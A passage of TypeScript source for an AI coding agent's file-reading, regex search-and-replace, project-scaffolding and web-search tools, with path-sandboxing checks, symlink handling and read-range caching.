once.\\n' +\n '- Default limit is generous (2000 lines) but can be increased.\\n' +\n '- The output format is designed to be directly usable as context for `edit` operations.\\n' +\n '- Set `includeSymbols: true` to also receive the codebase-index symbol listing for the file.\\n' +\n \"- Enable advanced mode (`ctx.meta['tools.read.advancedMode'] = true`) to auto-inject symbols on every read.\",\n selection: {\n doNotUseWhen: 'you need to search many files for matching content.',\n useInstead: ['grep'],\n },\n permission: 'auto',\n mutating: false,\n capabilities: ['fs.read'],\n icon: 'file',\n maxOutputBytes: 262_144,\n timeoutMs: 5_000,\n inputSchema: {\n type: 'object',\n properties: {\n path: {\n type: 'string',\n description: 'Path to the file (relative to project root or absolute within project).',\n },\n offset: {\n type: 'integer',\n description: '1-based starting line number. Use together with `limit` for large files.',\n },\n limit: {\n type: 'integer',\n description: 'Maximum number of lines to return (default is 2000).',\n },\n mode: {\n type: 'string',\n enum: ['content', 'summary'],\n description:\n 'Return full line-numbered content (default) or a compact file summary with imports/exports/symbols.',\n },\n includeSymbols: {\n type: 'boolean',\n description:\n 'When true, include the codebase-index symbol list for this file as a structured `symbols` field ' +\n 'in the result. Overrides the advanced-mode meta flag per-call.',\n },\n },\n required: ['path'],\n },\n async execute(input, ctx, execOpts) {\n if (!input?.path) {\n throw new ToolValidationError({\n message: 'read: path is required',\n field: 'path',\n });\n }\n const absPath = await safeResolveReal(input.path, ctx);\n\n // Determine whether to include symbols: per-call param overrides meta flag.\n const shouldIncludeSymbols =\n input.includeSymbols === true ||\n (input.includeSymbols !== false && ctx.meta[ADVANCED_MODE_META_KEY] === true);\n\n let stat: Awaited<ReturnType<typeof fs.stat>>;\n try {\n stat = await fs.stat(absPath);\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code;\n if (code === 'ENOENT') {\n throw new FsError({\n message: `read: file not found \"${input.path}\"`,\n code: 'FS_READ_FAILED',\n path: absPath,\n context: { errno: 'ENOENT' },\n });\n }\n throw new FsError({\n message: `read: failed to stat \"${input.path}\": ${toErrorMessage(err)}`,\n code: 'FS_READ_FAILED',\n path: absPath,\n context: { errno: code },\n cause: err,\n });\n }\n if (!stat.isFile()) {\n throw new FsError({\n message: `read: \"${input.path}\" is not a regular file`,\n code: 'FS_READ_FAILED',\n path: absPath,\n context: { reason: 'not-a-regular-file' },\n });\n }\n if (stat.size > MAX_BYTES) {\n throw new FsError({\n message: `read: file too large (${stat.size} bytes, limit ${MAX_BYTES})`,\n code: 'FS_READ_FAILED',\n path: absPath,\n context: { size: stat.size, limit: MAX_BYTES, reason: 'too-large' },\n });\n }\n\n const offset = Math.max(1, input.offset ?? 1);\n const limit = Math.max(0, Math.min(input.limit ?? 2000, 5000));\n const prior = getReadRangeRecord(ctx, absPath);\n const requestedEnd = prior\n ? Math.min(offset + limit - 1, prior.totalLines)\n : offset + limit - 1;\n if (\n input.mode !== 'summary' &&\n limit > 0 &&\n prior &&\n coversRange(prior, stat.mtimeMs, offset, requestedEnd)\n ) {\n ctx.recordRead(absPath, stat.mtimeMs);\n const symResult = shouldIncludeSymbols\n ? await fetchSymbolsForFile(absPath, ctx, execOpts?.signal)\n : undefined;\n return {\n text:\n `[unchanged since previous read: \"${input.path}\" mtime=${Math.round(stat.mtimeMs)}; ` +\n `requested lines ${offset}-${requestedEnd} were already shown. Use offset/limit for a new range if needed.]`,\n total_lines: prior.totalLines,\n encoding: 'utf8',\n truncated: requestedEnd < prior.totalLines,\n cached: true,\n note: mergeSymbolNote('Repeated read suppressed to save tokens.', symResult?.note),\n ...(symResult?.symbols ? { symbols: symResult.symbols } : {}),\n };\n }\n\n const buf = await fs.readFile(absPath);\n if (isBinaryBuffer(buf)) {\n throw new Error(`read: \"${input.path}\" appears to be binary`);\n }\n\n const text = buf.toString('utf8');\n // Content hash recorded alongside the mtime: `edit` uses it as the\n // authoritative staleness check (mtime alone has a 2 s tolerance window\n // on Windows). The full file is read even for offset/limit slices, so\n // the hash always covers the whole content.\n const contentHash = sha256hex(text);\n const allLines = text.split(/\\r\\n|\\r|\\n/);\n const total = allLines.length;\n\n if (input.mode === 'summary') {\n ctx.recordRead(absPath, stat.mtimeMs, 'user', contentHash);\n rememberReadRange(ctx, absPath, stat.mtimeMs, total, 1, Math.min(total, 200));\n const symResult = shouldIncludeSymbols\n ? await fetchSymbolsForFile(absPath, ctx, execOpts?.signal)\n : undefined;\n return {\n text: summarizeFile(input.path, stat.size, allLines),\n total_lines: total,\n encoding: 'utf8',\n truncated: total > 200,\n note: mergeSymbolNote(\n 'Summary mode returned compact structure instead of full file content.',\n symResult?.note,\n ),\n ...(symResult?.symbols ? { symbols: symResult.symbols } : {}),\n };\n }\n if (limit === 0) {\n ctx.recordRead(absPath, stat.mtimeMs, 'user', contentHash);\n rememberReadRange(ctx, absPath, stat.mtimeMs, total, 1, 0);\n const symResult = shouldIncludeSymbols\n ? await fetchSymbolsForFile(absPath, ctx, execOpts?.signal)\n : undefined;\n return {\n text: '',\n total_lines: total,\n encoding: 'utf8',\n truncated: total > 0,\n ...(symResult?.symbols ? { symbols: symResult.symbols } : {}),\n ...(symResult?.note ? { note: symResult.note } : {}),\n };\n }\n // Offset past EOF: return an explicit message instead of an empty string.\n // Without this, models with weak instruction-following (e.g. k2p7) see an\n // empty result, assume the read failed transiently, and retry the exact\n // same offset indefinitely \u2014 a tight tool-use loop that burns iterations\n // and context without making progress.\n if (offset > total) {\n ctx.recordRead(absPath, stat.mtimeMs, 'user', contentHash);\n rememberReadRange(ctx, absPath, stat.mtimeMs, total, total + 1, total + 1);\n const symResult = shouldIncludeSymbols\n ? await fetchSymbolsForFile(absPath, ctx, execOpts?.signal)\n : undefined;\n return {\n text: `[offset ${offset} is past end of file \"${input.path}\" \u2014 file has ${total} line(s). Do not retry this offset.]`,\n total_lines: total,\n encoding: 'utf8',\n truncated: false,\n ...(symResult?.symbols ? { symbols: symResult.symbols } : {}),\n ...(symResult?.note ? { note: symResult.note } : {}),\n };\n }\n\n const slice = allLines.slice(offset - 1, offset - 1 + limit);\n const truncated = offset - 1 + slice.length < total;\n\n const width = String(offset + slice.length - 1).length;\n const numbered = slice\n .map((line, i) => `${String(offset + i).padStart(width, ' ')}\u2192${line}`)\n .join('\\n');\n\n ctx.recordRead(absPath, stat.mtimeMs, 'user', contentHash);\n rememberReadRange(ctx, absPath, stat.mtimeMs, total, offset, offset + slice.length - 1);\n\n const symResult = shouldIncludeSymbols\n ? await fetchSymbolsForFile(absPath, ctx, execOpts?.signal)\n : undefined;\n return {\n text: numbered,\n total_lines: total,\n encoding: 'utf8',\n truncated,\n ...(symResult?.symbols ? { symbols: symResult.symbols } : {}),\n ...(symResult?.note ? { note: symResult.note } : {}),\n };\n },\n};\n\n/**\n * Best-effort fetch of codebase-index symbols for a file. Returns\n * sorted symbol entries (or `undefined` when the index is unavailable\n * or has no symbols for this file) and an optional truncation note.\n * Never throws \u2014 symbol injection must never break the read operation.\n */\nasync function fetchSymbolsForFile(\n absPath: string,\n ctx: import('@wrongstack/core/agent').Context,\n signal?: AbortSignal,\n): Promise<{ symbols?: SymbolEntry[]; note?: string }> {\n try {\n const state = getIndexState();\n if (!state.ready) return {};\n\n const { results, total } = await searchCodebaseIndex(\n {\n projectRoot: ctx.projectRoot,\n indexDir: codebaseIndexDirOverride(ctx),\n query: '',\n file: absPath,\n limit: 500,\n },\n { signal },\n );\n\n if (results.length === 0) return {};\n\n const sorted = results\n .map((r) => ({\n name: r.name,\n kind: r.kind,\n line: r.line,\n col: r.col,\n signature: r.signature,\n }))\n .sort((a, b) => a.line - b.line || a.col - b.col);\n\n const result: { symbols: SymbolEntry[]; note?: string } = { symbols: sorted };\n if (total > results.length) {\n result.note = `Symbol listing truncated to ${results.length} of ${total} entries.`;\n }\n return result;\n } catch {\n return {};\n }\n}\n\n/** Merge an optional symbol-truncation note into an existing or absent note field. */\nfunction mergeSymbolNote(\n note: string | undefined,\n symNote: string | undefined,\n): string | undefined {\n if (!symNote) return note;\n if (!note) return symNote;\n return `${note} ${symNote}`;\n}\n\ninterface ReadRangeRecord {\n mtimeMs: number;\n totalLines: number;\n ranges: Array<{ start: number; end: number }>;\n}\n\nconst READ_RANGES_META_KEY = 'tools.read.ranges.v1';\n\nfunction getReadRanges(\n ctx: import('@wrongstack/core/agent').Context,\n): Record<string, ReadRangeRecord> {\n const existing = ctx.meta[READ_RANGES_META_KEY];\n if (existing && typeof existing === 'object' && !Array.isArray(existing)) {\n return existing as Record<string, ReadRangeRecord>;\n }\n const next: Record<string, ReadRangeRecord> = {};\n ctx.meta[READ_RANGES_META_KEY] = next;\n return next;\n}\n\nfunction getReadRangeRecord(\n ctx: import('@wrongstack/core/agent').Context,\n absPath: string,\n): ReadRangeRecord | undefined {\n return getReadRanges(ctx)[absPath];\n}\n\nfunction rememberReadRange(\n ctx: import('@wrongstack/core/agent').Context,\n absPath: string,\n mtimeMs: number,\n totalLines: number,\n start: number,\n end: number,\n): void {\n if (end < start) return;\n const ranges = getReadRanges(ctx);\n const prior = ranges[absPath];\n const nextRanges = prior && Math.abs(prior.mtimeMs - mtimeMs) <= 1 ? prior.ranges.slice() : [];\n nextRanges.push({ start, end });\n ranges[absPath] = {\n mtimeMs,\n totalLines,\n ranges: mergeRanges(nextRanges),\n };\n}\n\nfunction coversRange(\n record: ReadRangeRecord,\n mtimeMs: number,\n start: number,\n end: number,\n): boolean {\n if (Math.abs(record.mtimeMs - mtimeMs) > 1) return false;\n return record.ranges.some((range) => range.start <= start && range.end >= end);\n}\n\nfunction mergeRanges(\n ranges: Array<{ start: number; end: number }>,\n): Array<{ start: number; end: number }> {\n const sorted = ranges.slice().sort((a, b) => a.start - b.start);\n const merged: Array<{ start: number; end: number }> = [];\n for (const range of sorted) {\n const last = merged[merged.length - 1];\n if (!last || range.start > last.end + 1) {\n merged.push({ ...range });\n continue;\n }\n last.end = Math.max(last.end, range.end);\n }\n return merged;\n}\n\nfunction summarizeFile(filePath: string, bytes: number, lines: string[]): string {\n const interesting = lines\n .map((line, index) => ({ line: line.trim(), number: index + 1 }))\n .filter(({ line }) =>\n /^(import\\s|export\\s|class\\s|interface\\s|type\\s|function\\s|const\\s+\\w+\\s*=|let\\s+\\w+\\s*=|var\\s+\\w+\\s*=|def\\s+|async\\s+function\\s)/.test(\n line,\n ),\n )\n .slice(0, 80)\n .map(({ line, number }) => `${number}: ${line}`);\n return [\n `summary: ${filePath}`,\n `bytes=${bytes}`,\n `total_lines=${lines.length}`,\n interesting.length > 0\n ? `symbols/imports:\\n${interesting.join('\\n')}`\n : 'symbols/imports: (none detected)',\n ].join('\\n');\n}\n", "import { expectDefined } from '@wrongstack/core/utils';\nimport { spawn } from 'node:child_process';\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport {\n atomicWrite,\n buildChildEnv,\n compileGlob,\n detectNewlineStyle,\n normalizeToLf,\n toStyle,\n unifiedDiff,\n} from '@wrongstack/core/utils';\nimport { ToolValidationError } from '@wrongstack/core/types';\nimport type { Context } from '@wrongstack/core/agent';\nimport type { Tool } from '@wrongstack/core/types';\nimport { compileUserRegex } from './_regex.js';\nimport { isBinaryBuffer, safeResolve, sha256hex } from './_util.js';\ninterface ReplaceInput {\n pattern: string;\n replacement: string;\n files: string | string[];\n glob?: string | undefined;\n replace_all?: boolean | undefined;\n dry_run?: boolean | undefined;\n}\n\ninterface ReplaceOutput {\n files_modified: number;\n total_replacements: number;\n results: { path: string; replacements: number; diff?: string | undefined }[];\n dry_run: boolean;\n}\n\nconst DEFAULT_IGNORE = ['node_modules', '.git', 'dist', 'build', '.next', 'coverage'];\n\nexport const replaceTool: Tool<ReplaceInput, ReplaceOutput> = {\n name: 'replace',\n category: 'Transform',\n description:\n 'Perform a search-and-replace across multiple files using a regex pattern. ' +\n 'This is a powerful bulk transformation tool. Dry-run is ON by default \u2014 set `dry_run: false` to apply changes.',\n usageHint:\n 'DANGEROUS IF USED CARELESSLY \u2014 review the diff output carefully.\\n\\n' +\n 'Recommended workflow:\\n' +\n '1. Run without `dry_run: false` first to see exactly what would change (dry-run is the default).\\n' +\n '2. Review the diff output, then re-run with `dry_run: false` to apply.\\n' +\n '3. Use a specific enough `pattern` (and `glob` / `files`) to avoid accidental broad changes.\\n' +\n '4. `replace_all` controls whether only the first match per file or all matches are replaced.\\n' +\n 'This tool is excellent for large-scale refactors (renaming, import updates, etc.) but must be used with caution.',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write'],\n icon: 'edit',\n timeoutMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n pattern: { type: 'string', description: 'Regex pattern to match' },\n replacement: { type: 'string', description: 'Replacement string' },\n files: {\n type: 'string',\n description: 'File(s) to target: single path, comma-separated list, or glob pattern',\n },\n glob: { type: 'string', description: 'Additional glob filter (e.g. \"*.ts\")' },\n replace_all: {\n type: 'boolean',\n description: 'Replace all occurrences in each file (default: true)',\n },\n dry_run: { type: 'boolean', description: 'Preview changes without writing (default: true)' },\n },\n required: ['pattern', 'replacement', 'files'],\n },\n async execute(input: ReplaceInput, ctx: Context) {\n if (!input?.pattern) {\n throw new ToolValidationError({\n message: 'replace: pattern is required',\n field: 'pattern',\n });\n }\n if (input.replacement === undefined) {\n throw new ToolValidationError({\n message: 'replace: replacement is required',\n field: 'replacement',\n });\n }\n if (!input?.files) {\n throw new ToolValidationError({\n message: 'replace: files is required',\n field: 'files',\n });\n }\n\n const replaceAll = input.replace_all ?? true;\n // Always compile with 'g' so matchAll() works \u2014 matchAll throws\n // TypeError on non-global regexes. The replaceAll flag controls\n // how many matches we act on, not whether the regex is global.\n const compiled = compileUserRegex(input.pattern, 'g');\n if (!compiled.ok) {\n throw new ToolValidationError({\n message: `replace: ${compiled.reason}`,\n field: 'pattern',\n });\n }\n const re = compiled.regex;\n const globRe = input.glob ? compileGlob(input.glob) : null;\n const dryRun = input.dry_run ?? true;\n\n const filesInput = Array.isArray(input.files) ? input.files.join(',') : input.files;\n const fileList = await resolveFiles(filesInput, ctx, globRe);\n\n // Resolve the project root through realpath ONCE so the sandbox check\n // below compares like-for-like with realpath(file). The project root\n // itself can be a symlink or short name \u2014 e.g. macOS temp dirs live under\n // /var -> /private/var, and Windows CI runners expose an 8.3 short name\n // (C:\\Users\\RUNNER~1\\...). Comparing realpath(file) against the raw root\n // then makes every legitimately-inside file look \"outside\" and skips it.\n const realRoot = await fs.realpath(ctx.projectRoot).catch(() => ctx.projectRoot);\n\n const results: ReplaceOutput['results'] = [];\n let totalReplacements = 0;\n\n for (const absPath of fileList) {\n // Use lstat to detect symlinks. resolveFiles already applies\n // safeResolve, but a symlink with a target outside the project\n // root would still pass that string check \u2014 explicitly skip it\n // so we never read or write through a link.\n const lstat = await fs.lstat(absPath).catch((err) => {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') return null;\n /* v8 ignore next -- non-ENOENT lstat failure (EACCES etc.) is a defensive rethrow. */\n throw err;\n });\n if (!lstat?.isFile()) continue;\n if (lstat.isSymbolicLink()) continue;\n\n // Cross-check via realpath: if the resolved target lives outside the\n // project root (e.g. a bind mount or a parent-dir traversal we missed),\n // skip rather than rewrite through it.\n let realPath: string;\n try {\n realPath = await fs.realpath(absPath);\n } catch {\n /* v8 ignore next -- realpath failing after a successful lstat is a TOCTOU race; defensive. */\n continue;\n }\n const rel = path.relative(realRoot, realPath);\n if (rel.startsWith('..') || path.isAbsolute(rel)) continue;\n\n // Now stat the real target so we use its mode for atomicWrite.\n const stat = await fs.stat(realPath).catch(() => null);\n if (!stat?.isFile()) continue;\n\n let content: string;\n try {\n const buf = await fs.readFile(realPath);\n if (isBinaryBuffer(buf)) continue;\n content = buf.toString('utf8');\n } catch {\n /* v8 ignore next -- readFile failing after a successful stat is a TOCTOU race; defensive. */\n continue;\n }\n\n const style = detectNewlineStyle(content);\n const contentLf = normalizeToLf(content);\n re.lastIndex = 0;\n const allMatches = [...contentLf.matchAll(re)];\n if (allMatches.length === 0) continue;\n\n // When replace_all is false, only act on the first match.\n const matches = replaceAll ? allMatches : allMatches.slice(0, 1);\n const count = matches.length;\n\n // Rebuild: splice the replacement into each match position from\n // right to left so earlier indices stay valid.\n let newContentLf = contentLf;\n for (let i = matches.length - 1; i >= 0; i--) {\n const m = expectDefined(matches[i]);\n newContentLf =\n newContentLf.slice(0, m.index) +\n input.replacement +\n newContentLf.slice(expectDefined(m.index) + m[0].length);\n }\n re.lastIndex = 0;\n totalReplacements += count;\n\n if (!dryRun) {\n const newContent = toStyle(newContentLf, style);\n // Write to the real path (already validated inside project root)\n // so atomicWrite's temp-and-rename can't be redirected through a\n // freshly-planted symlink at absPath.\n await atomicWrite(realPath, newContent, { mode: stat.mode & 0o777 });\n // Same bookkeeping as `edit`: record the new mtime + hash (tagged\n // 'write' so the permission bypass does not widen) so a later `edit`\n // of this file doesn't trip the stale-read guard on our own write,\n // and record the change for session rewind. Optional calls: embedders\n // may hand in a duck-typed Context without these members.\n const written = await fs.stat(realPath).catch(() => null);\n if (written) {\n ctx.recordRead?.(realPath, written.mtimeMs, 'write', sha256hex(newContent));\n }\n ctx.session?.recordFileChange?.({\n path: realPath,\n action: 'modified',\n before: content,\n after: newContent,\n });\n }\n\n const diff =\n dryRun || matches.length > 0\n ? unifiedDiff(content, toStyle(newContentLf, style), {\n fromFile: absPath,\n toFile: absPath,\n })\n : undefined;\n\n results.push({\n path: absPath,\n replacements: matches.length,\n diff,\n });\n }\n\n return {\n files_modified: results.length,\n total_replacements: totalReplacements,\n results,\n dry_run: dryRun,\n };\n },\n};\n\nasync function resolveFiles(\n filesInput: string,\n ctx: Context,\n extraGlob?: RegExp | null | undefined,\n): Promise<string[]> {\n const base = ctx.cwd;\n const normalized = filesInput.trim();\n\n if (normalized.startsWith('**/') || normalized.startsWith('*') || normalized.includes('**')) {\n return await globFiles(normalized, base, extraGlob);\n }\n\n const parts = normalized\n .split(',')\n .map((s) => s.trim())\n .filter(Boolean);\n const resolved: string[] = [];\n\n for (const p of parts) {\n const absPath = safeResolve(p, ctx);\n const stat = await fs.stat(absPath).catch(() => null);\n if (stat?.isFile()) {\n resolved.push(absPath);\n }\n }\n\n return resolved;\n}\n\nasync function globFiles(\n pattern: string,\n base: string,\n extraGlob?: RegExp | null | undefined,\n): Promise<string[]> {\n\n const rgAvailable = await checkRg();\n if (rgAvailable) {\n try {\n const { promise } = spawnRgFind(pattern, base);\n return await promise;\n } catch {\n // fall through\n }\n }\n\n return await globNative(pattern, base, extraGlob);\n}\n\nfunction checkRg(): Promise<boolean> {\n return new Promise((resolve) => {\n try {\n const p = spawn('rg', ['--version'], { env: buildChildEnv(), stdio: 'ignore', windowsHide: true });\n p.on('error', () => resolve(false));\n p.on('close', (code) => resolve(code === 0));\n } catch {\n resolve(false);\n }\n });\n}\n\nfunction spawnRgFind(pattern: string, base: string): { promise: Promise<string[]> } {\n const args = ['--files', '--glob', pattern, base];\n // 30-second safety net to prevent zombie rg processes. Unlike the main\n // grep tool, glob file enumeration is fast and should never need more time.\n const child = spawn('rg', args, {\n signal: AbortSignal.timeout(30_000),\n env: buildChildEnv(),\n stdio: ['ignore', 'pipe', 'pipe'],\n windowsHide: true,\n });\n // Bound the capture like grep.ts and bash.ts already do. A pathological glob\n // over a huge tree could otherwise accumulate the whole file listing in one\n // unbounded string before it is ever split.\n const MAX_BUF_CHARS = 8 * 1024 * 1024;\n let buf = '';\n let truncated = false;\n child.stdout?.on('data', (chunk: Buffer) => {\n if (truncated) return;\n buf += chunk.toString();\n if (buf.length > MAX_BUF_CHARS) {\n truncated = true;\n // Drop the partial trailing path so we never emit a half-written name.\n buf = buf.slice(0, buf.lastIndexOf('\\n') + 1);\n child.kill();\n }\n });\n return {\n promise: new Promise((resolve, reject) => {\n child.on('error', reject);\n child.on('close', () => {\n resolve(buf.split('\\n').filter(Boolean));\n });\n }),\n };\n}\n\nasync function globNative(\n pattern: string,\n base: string,\n extraGlob?: RegExp | null | undefined,\n): Promise<string[]> {\n const results: string[] = [];\n const globRe = compileGlob(pattern);\n\n const walk = async (dir: string): Promise<void> => {\n let entries: import('node:fs').Dirent[];\n try {\n entries = await fs.readdir(dir, { withFileTypes: true });\n } catch {\n /* v8 ignore next -- unreadable directory during the walk; defensive. */\n return;\n }\n for (const e of entries) {\n if (DEFAULT_IGNORE.includes(e.name)) continue;\n const full = path.join(dir, e.name);\n // Dirent.isSymbolicLink() uses readdir's d_type, which may not detect\n // directory symlinks on Windows (d_type = DT_UNKNOWN). Defensive stat\n // call: skip any entry whose lstat shows a symlink \u2014 file or directory.\n try {\n const stat = await fs.lstat(full);\n if (stat.isSymbolicLink()) continue;\n } catch {\n // lstat fails for very unusual entries (e.g. broken symlinks to deleted\n // files on NFS); skip safely rather than surfacing an error.\n /* v8 ignore next -- lstat failing on a readdir entry is a rare NFS/race case; defensive. */\n continue;\n }\n if (e.isDirectory()) {\n await walk(full);\n } else if (e.isFile()) {\n const name = e.name;\n if (globRe.test(name) || globRe.test(full)) {\n if (extraGlob && !extraGlob.test(name) && !extraGlob.test(full)) continue;\n results.push(full);\n }\n globRe.lastIndex = 0;\n if (extraGlob) extraGlob.lastIndex = 0;\n }\n }\n };\n\n await walk(base);\n return results;\n}\n", "import * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport type { Tool } from '@wrongstack/core/types';\nimport { atomicWrite } from '@wrongstack/core/utils';\nimport { safeResolve } from './_util.js';\n\ninterface ScaffoldInput {\n template: string;\n name: string;\n cwd?: string | undefined;\n vars?: Record<string, string>;\n dry_run?: boolean | undefined;\n}\n\ninterface ScaffoldOutput {\n template: string;\n name: string;\n files_created: number;\n files: string[];\n dry_run: boolean;\n output: string;\n}\n\nconst BUILT_IN_TEMPLATES: Record<string, { description: string; files: Record<string, string> }> = {\n 'npm-package': {\n description: 'Basic npm package with ESM',\n files: {\n 'package.json': JSON.stringify(\n {\n name: '{{name}}',\n version: '0.1.1',\n type: 'module',\n main: './dist/index.js',\n scripts: { build: 'tsc', test: 'vitest run' },\n devDependencies: { typescript: '^5.0.0' },\n },\n null,\n 2,\n ),\n 'tsconfig.json': JSON.stringify(\n {\n compilerOptions: { target: 'ES2022', module: 'ESNext', strict: true },\n include: ['src'],\n },\n null,\n 2,\n ),\n 'src/index.ts': `export function hello() {\\n return 'Hello from {{name}}';\\n}\\n`,\n 'src/index.test.ts': `import { hello } from './index';\\nimport { describe, it, expect } from 'vitest';\\n\\ndescribe('hello', () => {\\n it('returns greeting', () => {\\n expect(hello()).toBe('Hello from {{name}}');\\n });\\n});\\n`,\n },\n },\n 'cli-tool': {\n description: 'CLI tool with argparse',\n files: {\n 'package.json': JSON.stringify(\n {\n name: '{{name}}',\n version: '0.1.1',\n type: 'module',\n bin: { '{{name}}': './src/index.js' },\n scripts: { build: 'tsc', start: 'node dist/index.js' },\n },\n null,\n 2,\n ),\n 'src/index.ts': `#!/usr/bin/env node\\n\\nasync function main() {\\n console.log('Hello from {{name}}');\\n}\\n\\nmain();\\n`,\n },\n },\n 'react-component': {\n description: 'React component with TypeScript',\n files: {\n '{{name}}.tsx': `interface {{Name}}Props {\\n className?: string;\\n}\\n\\nexport function {{Name}}({ className }: {{Name}}Props) {\\n return (\\n <div className={className}>\\n {{Name}} Component\\n </div>\\n );\\n}\\n`,\n '{{name}}.test.tsx': `import { render, screen } from '@testing-library/react';\\nimport { {{Name}} } from './{{Name}}';\\n\\ndescribe('{{Name}}', () => {\\n it('renders', () => {\\n render(<{{Name}} />);\\n expect(screen.getByText('{{Name}} Component')).toBeInTheDocument();\\n });\\n});\\n`,\n },\n },\n};\n\nexport const scaffoldTool: Tool<ScaffoldInput, ScaffoldOutput> = {\n name: 'scaffold',\n category: 'Project',\n description:\n 'Generate new files and folder structures from built-in templates or custom definitions. ' +\n 'This is the recommended way to bootstrap new packages, components, or modules instead of creating files one by one with `write`.',\n usageHint:\n 'PREFERRED FOR SCAFFOLDING:\\n\\n' +\n '- Use built-in templates when they match your needs (e.g. react-component, npm-package).\\n' +\n '- Supports `dry_run` so you can preview exactly what will be created.\\n' +\n '- Has the powerful `fs.write.outside-project` capability \u2014 review paths carefully.\\n' +\n 'Much cleaner and safer than manually writing multiple files.',\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write.outside-project', 'fs.write'],\n icon: 'scaffold',\n timeoutMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n template: {\n type: 'string',\n description:\n 'Template name (npm-package, cli-tool, react-component) or path to template directory',\n },\n name: {\n type: 'string',\n description: 'Project/component name (used in generated files)',\n },\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n vars: {\n type: 'object',\n additionalProperties: { type: 'string' },\n description: 'Template variables for custom templates',\n },\n dry_run: {\n type: 'boolean',\n description: 'Preview generated files without creating (default: false)',\n },\n },\n required: ['template', 'name'],\n },\n async execute(input, ctx) {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n const name = input.name;\n const vars = { name, ...input.vars };\n\n const builtIn = BUILT_IN_TEMPLATES[input.template];\n if (builtIn) {\n return await handleBuiltIn(name, builtIn.files, cwd, ctx, input.dry_run ?? false, vars);\n }\n\n return {\n template: input.template,\n name,\n files_created: 0,\n files: [],\n dry_run: input.dry_run ?? false,\n output: `Template \"${input.template}\" not found. Available: ${Object.keys(BUILT_IN_TEMPLATES).join(', ')}`,\n };\n },\n};\n\nasync function handleBuiltIn(\n name: string,\n templateFiles: Record<string, string>,\n cwd: string,\n ctx: Parameters<Tool['execute']>[1],\n dryRun: boolean,\n vars: Record<string, string>,\n): Promise<ScaffoldOutput> {\n const files: string[] = [];\n let filesCreated = 0;\n\n for (const [filePath, content] of Object.entries(templateFiles)) {\n const resolvedPath = substituteVars(filePath, name, vars);\n const joinedPath = path.join(cwd, resolvedPath);\n // Ensure generated files cannot escape the project root via template variable injection (e.g. name containing \"../\")\n const root = path.resolve(ctx.projectRoot);\n const target = path.resolve(joinedPath);\n const rel = path.relative(root, target);\n if (rel.startsWith('..') || path.isAbsolute(rel)) {\n throw new Error(`scaffold: generated path \"${resolvedPath}\" would escape project root`);\n }\n const fullPath = target;\n\n if (!dryRun) {\n await fs.mkdir(path.dirname(fullPath), { recursive: true });\n // atomicWrite: scaffolded files land in the user's tracked tree.\n // A torn write here would commit a corrupt file to their repo.\n await atomicWrite(fullPath, substituteVars(content, name, vars));\n }\n files.push(resolvedPath);\n filesCreated++;\n }\n\n return {\n template: 'built-in',\n name,\n files_created: filesCreated,\n files,\n dry_run: dryRun,\n output: dryRun\n ? `Would create ${filesCreated} files: ${files.join(', ')}`\n : `Created ${filesCreated} files: ${files.join(', ')}`,\n };\n}\n\nfunction substituteVars(content: string, name: string, vars: Record<string, string>): string {\n let result = content;\n result = result.replace(/\\{\\{name\\}\\}/g, name.toLowerCase().replace(/\\s+/g, '-'));\n result = result.replace(\n /\\{\\{Name\\}\\}/g,\n name.replace(/(?:^|[-_\\s]+)([a-z])/g, (_, c) => c.toUpperCase()),\n );\n for (const [k, v] of Object.entries(vars)) {\n result = result.replace(new RegExp(`\\\\{\\\\{${k}\\\\}\\\\}`, 'g'), v);\n }\n return result;\n}\n", "import { FetchError, ToolValidationError } from '@wrongstack/core/types';\nimport { expectDefined } from '@wrongstack/core/utils';\nimport type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { guardedFetch } from './_fetch-guard.js';\nimport { toErrorMessage } from '@wrongstack/core/utils';\n\ninterface SearchResult {\n title: string;\n url: string;\n snippet: string;\n score: number;\n}\n\ninterface CacheEntry {\n results: SearchResult[];\n source: string;\n timestamp: number;\n}\n\ninterface SearchInput {\n query: string;\n num_results?: number | undefined;\n source?: 'duckduckgo' | 'google' | 'bing' | undefined;\n skip_cache?: boolean | undefined;\n}\n\ninterface SearchOutput {\n query: string;\n results: { title: string; url: string; snippet: string }[];\n source: string;\n truncated: boolean;\n cached: boolean;\n}\n\nconst DEFAULT_NUM = 10;\nconst MAX_RESULTS = 50;\nconst TIMEOUT_MS = 15_000;\nconst CACHE_TTL_MS = 300_000; // 5 minutes \u2014 matches the former web-search plugin default\nconst CACHE_MAX_ENTRIES = 200;\n\n// Module-level cache shared across calls within a single agent run. Keyed by\n// `<source>:<query>`. This is intentionally process-local (not persisted) \u2014\n// it exists to avoid hammering a search engine when the model rephrases the\n// same query a few turns apart.\nconst cache = new Map<string, CacheEntry>();\n\nexport const searchTool: Tool<SearchInput, SearchOutput> = {\n name: 'search',\n category: 'Search',\n description:\n 'Perform a web search and return results with title, URL, and snippet. Use this when you need up-to-date external information that is not in the local codebase. Results are cached (5 min TTL) and deduplicated by URL.',\n usageHint:\n 'Good for: API documentation, error messages, library usage examples, current best practices.\\n\\n' +\n '- Prefer specific queries over very broad ones.\\n' +\n '- Results go through the guarded fetch system (same protections as the `fetch` tool).\\n' +\n '- Supports duckduckgo (default), google, and bing sources.\\n' +\n '- Set `skip_cache: true` to force a fresh search.\\n' +\n '- This is often better than the model trying to recall outdated knowledge.',\n permission: 'auto',\n mutating: false,\n capabilities: ['net.outbound'],\n icon: 'search',\n timeoutMs: TIMEOUT_MS,\n inputSchema: {\n type: 'object',\n properties: {\n query: { type: 'string', description: 'Search query' },\n num_results: {\n type: 'integer',\n description: 'Number of results (1-50, default 10)',\n minimum: 1,\n maximum: MAX_RESULTS,\n },\n source: {\n type: 'string',\n enum: ['duckduckgo', 'google', 'bing'],\n description: 'Search engine to use (default: duckduckgo)',\n },\n skip_cache: {\n type: 'boolean',\n description: 'Skip the in-memory cache and force a fresh search (default: false)',\n },\n },\n required: ['query'],\n },\n async execute(input, ctx, opts) {\n let final: SearchOutput | undefined;\n const executeStream = searchTool.executeStream;\n if (!executeStream) throw new Error('searchTool: stream execution 